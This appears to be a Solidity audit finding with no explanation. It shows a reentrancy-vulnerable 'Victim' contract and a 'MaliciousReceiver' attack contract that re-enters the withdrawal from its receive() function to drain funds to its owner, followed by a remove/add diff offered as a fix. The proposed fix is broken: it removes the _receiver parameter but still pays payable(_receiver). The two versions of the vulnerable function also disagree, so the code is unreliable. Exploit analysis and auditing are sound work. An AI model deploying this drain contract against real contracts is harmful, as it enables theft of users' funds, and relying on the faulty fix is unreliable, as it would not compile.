function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
pragma solidity ^0.8.20;
contract Victim {
mapping(address => uint256) public failedTransferCredits;
function credit(address who) external payable {
require(msg.value > 0, "send ETH");
failedTransferCredits[who] += msg.value;
}
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
(bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
failedTransferCredits[_receiver] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
pragma solidity ^0.8.20;
import "./Victim.sol";
contract MaliciousReceiver {
Victim public victim;
address public owner;
uint256 public loops;
uint256 public maxLoops = 5;
constructor(address _victim) {
victim = Victim(_victim);
owner = msg.sender;
}
function attack() external {
require(msg.sender == owner, "only owner");
victim.withdrawAllFailedCredits(address(this));
}
receive() external payable {
if (address(victim).balance > 0 && loops < maxLoops) {
loops++;
victim.withdrawAllFailedCredits(address(this));
}
}
function collect() external {
require(msg.sender == owner, "only owner");
payable(owner).transfer(address(this).balance);
}
}
- remove this code
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
+ add this code
function withdrawAllFailedCredits() external {
uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
// then external interaction
(bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}